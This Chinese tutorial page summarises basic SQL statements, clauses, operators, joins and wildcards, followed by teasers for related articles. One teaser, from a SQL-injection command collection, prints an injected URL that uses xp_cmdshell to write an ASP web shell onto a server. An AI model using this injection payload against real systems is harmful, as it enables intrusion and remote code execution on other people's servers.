SQL数据库的所有命令(函数、运算符)汇总大全

目录
  • 1、SELECT选择语句
  • 2、INSERT INTO 插入语句
  • 3、UPDATE更新语句
  • 4、DELETE删除语句
  • 5、ORDER BY 关键字
  • 6、TOP、LIMIT、FETCH FIRST 或 ROWNUM限制子句
  • 7、MIN() 和 MAX()函数求最大最小值
  • 8、COUNT()、AVG() 和 SUM()函数
  • 9、GROUP BY语句
  • 10、HAVING 子句
  • 11、AND、OR 和 NOT 运算符
  • 12、LIKE运算符
  • 13、IN运算符
  • 14、BETWEEN 之间运算符
  • 15、JOIN连接
    • INNER JOIN内连接关键字
    • LEFT JOIN 左连接 关键字
    • RIGHT JOIN右连接 关键字
    • FULL OUTER JOIN 关键字
  • 16、AS 别名使用
  • 17、EXISTS 运算符
  • 18、NULL 空值
  • 19、通配符*?!等
    • 使用 % 通配符
    • 使用 _ 通配符
    • 使用 [charlist] 通配符

结构化查询语言(Structured Query Language)简称SQL,结构化查询语言是一种数据库查询和程序设计语言,用于存取数据以及查询、更新和管理关系数据库系统。sql语句就是对数据库进行操作的一种语言。

1、SELECT选择语句

该SELECT语句用于从数据库中选择数据。返回的数据存储在一个结果表中,称为结果集。
SELECT 语法:

SELECT column1, column2, ...

此处,column1、column2、… 是要从中选择数据的表的字段名称。如果要选择表中的所有可用字段,请使用以下语法:

SELECT * FROM table_name;

SELECT column1, column2, ...

2、INSERT INTO 插入语句

该INSERT INTO语句用于在表中插入新记录。
INSERT语法
可以INSERT INTO 用两种方式编写语句:
1- 指定要插入的列名和值:

INSERT INTO table_name (column1, column2, column3, ...)
VALUES (value1, value2, value3, ...);

2-如果要为表的所有列添加值,则无需在 SQL 查询中指定列名。但是,请确保值的顺序与表中的列顺序相同。在这里, INSERT INTO语法如下:

INSERT INTO table_name
VALUES (value1, value2, value3, ...);

3、UPDATE更新语句

UPDATE语句用于修改表中的现有记录。
UPDATE 语法:

UPDATE table_name
SET column1 = value1, column2 = value2, ...
WHERE condition;

注意: 更新表中的记录时要小心!注意 WHERE语句中的子句UPDATE。该WHERE子句指定应该更新哪些记录。如果省略该WHERE子句,表中的所有记录都将被更新!

4、DELETE删除语句

该DELETE语句用于删除表中的现有记录。
删除语法

DELETE FROM table_name WHERE condition;

注意: 删除表中的记录时要小心!注意 WHERE语句中的子句 DELETE。该WHERE条款指定应删除哪些记录。如果省略该WHERE子句,表中的所有记录都将被删除!

5、ORDER BY 关键字

该ORDER BY关键字用于按升序或降序对结果集进行排序。ORDER BY默认情况下,关键字按升序对记录进行排序。要按降序对记录进行排序,请使用 DESC关键字。
ORDER BY 语法

SELECT column1, column2, ...
FROM table_name
ORDER BY column1, column2, ... ASC|DESC;

6、TOP、LIMIT、FETCH FIRST 或 ROWNUM限制子句

SELECT TOP子句用于指定要返回的记录数。SELECT TOP子句在具有数千条记录的大表上很有用。返回大量记录会影响性能。
注意: 并非所有数据库系统都支持该 SELECT TOP子句。MySQL 支持LIMIT子句选择有限数量的记录,而 Oracle 使用FETCH FIRST n ROWSONLYROWNUM

Server / MS 访问语法:

SELECT TOP number|percent column_name(s)
FROM table_name
WHERE condition;

MySQL 语法:

SELECT column_name(s)
FROM table_name
WHERE condition
LIMIT number;

Oracle 12 语法:

SELECT column_name(s)
FROM table_name
ORDER BY column_name(s)
FETCH FIRST number ROWS ONLY;

7、MIN() 和 MAX()函数求最大最小值

MIN()函数返回所选列的最小值。MAX()函数返回所选列的最大值。

MIN() 语法

SELECT MIN(column_name)
FROM table_name
WHERE condition;

MAX() 语法

SELECT MAX(column_name)
FROM table_name
WHERE condition;

8、COUNT()、AVG() 和 SUM()函数

COUNT()函数返回与指定条件匹配的行数。

SELECT COUNT(column_name)
FROM table_name
WHERE condition;

AVG()函数返回数字列的平均值。

SELECT AVG(column_name)
FROM table_name
WHERE condition;

SUM()函数返回数字列的总和。

SELECT SUM(column_name)
FROM table_name
WHERE condition;

9、GROUP BY语句

该GROUP BY语句将具有相同值的行分组为汇总行,例如“查找每个国家/地区的客户数量”。
该GROUP BY语句通常与聚合函数 ( COUNT(), MAX(), MIN(), SUM(), AVG()) 一起使用, 以按一列或多列对结果集进行分组。
语法:

SELECT column_name(s)
FROM table_name
WHERE condition
GROUP BY column_name(s)
ORDER BY column_name(s);

10、HAVING 子句

SELECT column_name(s)
FROM table_name
WHERE condition
GROUP BY column_name(s)
HAVING condition
ORDER BY column_name(s);

11、AND、OR 和 NOT 运算符

该WHERE子句可以结合 AND,OR和 NOT操作。在AND与OR操作用于基于多个条件筛选记录:
该AND操作显示一个记录,如果所有条件满足 AND 为真。
所述OR操作显示一个记录,如果任何一个条件满足OR为真。
该NOT操作显示,如果条件(S)是不正确的记录。

AND 语法

SELECT column1, column2, ...
FROM table_name
WHERE condition1 AND condition2 AND condition3 ...;

OR语法

SELECT column1, column2, ...
FROM table_name
WHERE condition1 OR condition2 OR condition3 ...;

NOT语法

SELECT column1, column2, ...
FROM table_name
WHERE NOT condition;

12、LIKE运算符

该LIKE运算符在 WHERE子句中用于搜索列中的指定模式。有两个通配符经常与 LIKE运算符结合使用:
百分号 (%) 代表零、一个或多个字符
下划线 () 代表一个,单个字符
但是呢注意: MS Access 使用星号 (*) 代替百分号 (%),使用问号 (?) 代替下划线 ()
当然百分号和下划线也可以组合使用!

SELECT column1, column2, ...
FROM table_name
WHERE columnN LIKE pattern;

提示:您还可以使用 AND或OR运算符组合任意数量的条件。

13、IN运算符

IN运算符允许您在 WHERE子句中指定多个值。
IN操作是针对多个速记 OR条件。

SELECT column_name(s)
FROM table_name
WHERE column_name IN (value1, value2, ...);

14、BETWEEN 之间运算符

在BETWEEN操作者选择一个给定的范围内的值。值可以是数字、文本或日期。

SELECT column_name(s)
FROM table_name
WHERE column_name BETWEEN value1 AND value2;

15、JOIN连接

JOIN子句用于行从两个或更多表根据它们之间的相关列结合。

INNER JOIN内连接关键字

INNER JOIN关键字选择在两个表中具有匹配值的记录。

SELECT column_name(s)
FROM table1
INNER JOIN table2
ON table1.column_name = table2.column_name;

LEFT JOIN 左连接 关键字

LEFT JOIN关键字返回左表 (table1) 中的所有记录,以及右表 (table2) 中的匹配记录。如果没有匹配项,则结果是右侧的 0 条记录。

SELECT column_name(s)
FROM table1
LEFT JOIN table2
ON table1.column_name = table2.column_name;

RIGHT JOIN右连接 关键字

SELECT column_name(s)
FROM table1
RIGHT JOIN table2
ON table1.column_name = table2.column_name;

FULL OUTER JOIN 关键字

FULL OUTER JOIN和 FULL JOIN是一样的。

SELECT column_name(s)
FROM table1
FULL OUTER JOIN table2
ON table1.column_name = table2.column_name
WHERE condition;

16、AS 别名使用

别名列语法

SELECT column_name AS alias_name
FROM table_name;

别名表语法

SELECT column_name(s)
FROM table_name AS alias_name;

17、EXISTS 运算符

EXISTS运算符用于测试子查询中是否存在任何记录。
EXISTS运算符返回true,如果子查询返回一个或多个记录。

SELECT column_name(s)
FROM table_name
WHERE EXISTS
(SELECT column_name FROM table_name WHERE condition);

18、NULL 空值

具有 NULL 值的字段是没有值的字段。如果表中的字段是可选的,则可以在不向该字段添加值的情况下插入新记录或更新记录。然后,该字段将保存为 NULL 值。
注意: NULL 值不同于零值或包含空格的字段。具有 NULL 值的字段是在创建记录期间留空的字段!
如何测试 NULL 值?
无法使用比较运算符(例如 =、< 或 <>)测试 NULL 值。我们将不得不改用IS NULL和 IS NOT NULL运算符。

IS NULL 语法

SELECT column_names
FROM table_name
WHERE column_name IS NULL;

IS NOT NULL 语法

SELECT column_names
FROM table_name
WHERE column_name IS NOT NULL;

19、通配符*?!等

在搜索数据库中的数据时,SQL 通配符可以替代一个或多个字符。

SQL 通配符必须与 LIKE 运算符一起使用。

在 SQL 中,可使用以下通配符:

通配符 描述
% 代表零个或多个字符
_ 仅替代一个字符
[charlist] 字符列中的任何单一字符

[^charlist]

或者

[!charlist]

不在字符列中的任何单一字符

使用 % 通配符

我们希望从上面的 "Persons" 表中选取居住在以 "Ne" 开始的城市里的人:

SELECT * FROM Persons
WHERE City LIKE 'Ne%'

使用 _ 通配符

我们希望从 "Persons" 表中选取的这条记录的姓氏以 "C" 开头,然后是一个任意字符,然后是 "r",然后是一个任意字符,然后是 "er":

SELECT * FROM Persons
WHERE LastName LIKE 'C_r_er'

使用 [charlist] 通配符

我们希望从上面的 "Persons" 表中选取居住的城市以 "A" 或 "L" 或 "N" 开头的人:

SELECT * FROM Persons
WHERE City LIKE '[ALN]%'

我们希望从上面的 "Persons" 表中选取居住的城市不以 "A" 或 "L" 或 "N" 开头的人:

SELECT * FROM Persons
WHERE City LIKE '[!ALN]%'

到此这篇关于SQL数据库的所有命令(函数、运算符)汇总大全的文章就介绍到这了,更多相关SQL命令大全内容请搜索我们以前的文章或继续浏览下面的相关文章希望大家以后多多支持我们!

(0)

相关推荐

  • SQL命令大全-中英文对照第1/3页

    SQL命令大全-中英文对照--语 句 功 能 --数据操作 SELECT --从数据库表中检索数据行和列 INSERT --向数据库表添加新数据行 DELETE --从数据库表中删除数据行 UPDATE --更新数据库表中的数据 --数据定义 CREATE TABLE --创建一个数据库表 DROP TABLE --从数据库中删除表 ALTER TABLE --修改数据库表结构 CREATE VIEW --创建一个视图 DROP VIEW --从数据库中删除视图 CREATE INDEX --为

  • SQL数据库的所有命令(函数、运算符)汇总大全

    目录 1.SELECT选择语句 2.INSERT INTO 插入语句 3.UPDATE更新语句 4.DELETE删除语句 5.ORDER BY 关键字 6.TOP.LIMIT.FETCH FIRST 或 ROWNUM限制子句 7.MIN() 和 MAX()函数求最大最小值 8.COUNT().AVG() 和 SUM()函数 9.GROUP BY语句 10.HAVING 子句 11.AND.OR 和 NOT 运算符 12.LIKE运算符 13.IN运算符 14.BETWEEN 之间运算符 15.J

  • 关于SQL数据库 msdb.dbo.sp_send_dbmail 函数发送邮件的场景分析

    在推行系统中,时不时会有用户提出希望系统能自动推送邮件,由于手头的工具和能力有限,不少需求都借助于sql server的邮件触发来实现. 步骤: 1.配置邮箱.步骤略,网上有不少帖子说明,手工直接在管理-数据库邮件配置即可.配置完成后可以右键测试邮箱是否正常工作. 2.制作发送邮件脚本 3.sql server 代理定义周期计划 邮件脚本编写: 场景一:业务部门希望可以每周提供一次样品库存,即将sql查询的结果以附件的方式发给指定的人员. EXEC msdb.dbo.sp_send_dbmail

  • sql数据库不能直接用instr函数

    记录: 后台更新的时候,Instr(','+Speciality+',',',2,')这里出现了'Instr' 不是可以识别的 函数名. sql 数据库不能直接用instr 函数.参考tsys 1.1sql 版可以用 dbo.IsSpeciality(Speciality,'2')>0 代替.

  • 清除SQL Server数据库日志(ldf文件)的方法汇总

    目录 解决方案1 - 直接删除本地ldf日志文件:(比较靠谱方案!) 解决方案2 -收缩数据库日志文件(最靠谱方案!) 解决方案3 - 采用SQL脚本删除. 清除SQL Server数据库日志(ldf文件)的几种方法 随着系统运行时间的推移,数据库日志文件会变得越来越大,这时我们需要对日志文件进行备份或清理. 解决方案1 - 直接删除本地ldf日志文件:(比较靠谱方案!) 1. 在SQL管理器分离数据库. 2. 对数据库日志文件进行压缩备份(rar, zip) 3. 直接删除ldf文件. 附加数

  • 最详细的SQL注入相关的命令整理 (转)第1/2页

    1.   用^转义字符来写ASP(一句话木马)文件的方法: ?   http://192.168.1.5/display.asp?keyno=1881;exec master.dbo.xp_cmdshell 'echo ^<script language=VBScript runat=server^>execute request^("l"^)^</script^> >c:\mu.asp';-- ?   echo ^<%execute^(reques

  • 详解ios中的SQL数据库文件加密 (使用sqlcipher)

    今天本想写一片 GAE+goAgent+SwitchySharp 的指南的!但是突然翻出了前段时间写的关于iOS中的SQL数据库文件加密的代码,于是乎决定今天就先讲讲这个!- 那么goAgent将放在周末,后续的文章中除了文件加密,还有传输数据加密,感兴趣的童鞋 敬请留意. 言归正传,sql的文件加密,我们首先要用到一个库,它就是大名鼎鼎的Sqlcipher,  奉上连接:http://sqlcipher.NET,在ios里 我们需要看的文档是这一篇http://sqlcipher.Net/io

  • Oracle中 关于数据库存储过程和存储函数的使用

    存储过程和存储函数指存储在数据库中供所有用户程序调用的子程序叫存储过程.存储函数.存储过程没有返回值.存储函数有返回值 创建存储过程      用CREATE PROCEDURE命令建立存储过程和存储函数. 语法:create [or replace] PROCEDURE过程名(参数列表) AS         PLSQL子程序体: 存储过程示例:为指定的职工在原工资的基础上长10%的工资 /*为指定的职工在原工资的基础上长10%的工资,并打印工资前和工资后的工资*/SQL> create or

  • php外部执行命令函数用法小结

    本文实例讲述了php外部执行命令函数用法.分享给大家供大家参考,具体如下: 首先先要自我检讨一下的,学习和使用php已经前前后后一年多了,研究和使用Linux系统也差不多一年了,我居然不知道php这种解释型语言可以直接调用操作命令去操纵系统... 先总结下Linux的操作,常用的cd.cp.mv.rm之类的就不提了,值得总结的第一点是普通用户在提取root权限的时候需要在命令前加上sudo,然后在vi编辑器中输出行号的命令是 :set nu. php的内置函数exec,system都可以调用系统

  • 异步的SQL数据库封装详解

    引言 我一直在寻找一种简单有效的库,它能在简化数据库相关的编程的同时提供一种异步的方法来预防死锁. 我找到的大部分库要么太繁琐,要么灵活性不足,所以我决定自己写个. 使用这个库,你可以轻松地连接到任何 SQL-Server 数据库,执行任何存储过程或 T-SQL 查询,并异步地接收查询结果.这个库采用 C# 开发,没有其他外部依赖. 背景 你可能需要一些事件驱动编程的背景知识,但这不是必需的. 使用 这个库由两个类组成: 1.BLL (Business Logic Layer) 提供访问MS-S

  • Java连接Sql数据库经常用到的操作

    废话不多说了,直接给大家分享java操作sql数据库常见的连接问题. 1.连接,查询,更新,关闭 这几个数据基础操作,所以放到一起,写成一个工具类的模式,也就是model2模式的sql工具.这里本想把其他操作都加进去,比如事务处理,但是目前还没想到比较完美的方法,具体看代码吧,注释很详细 import java.sql.*; import java.util.Iterator; import java.util.Map; import java.util.Set; /** * Created b

随机推荐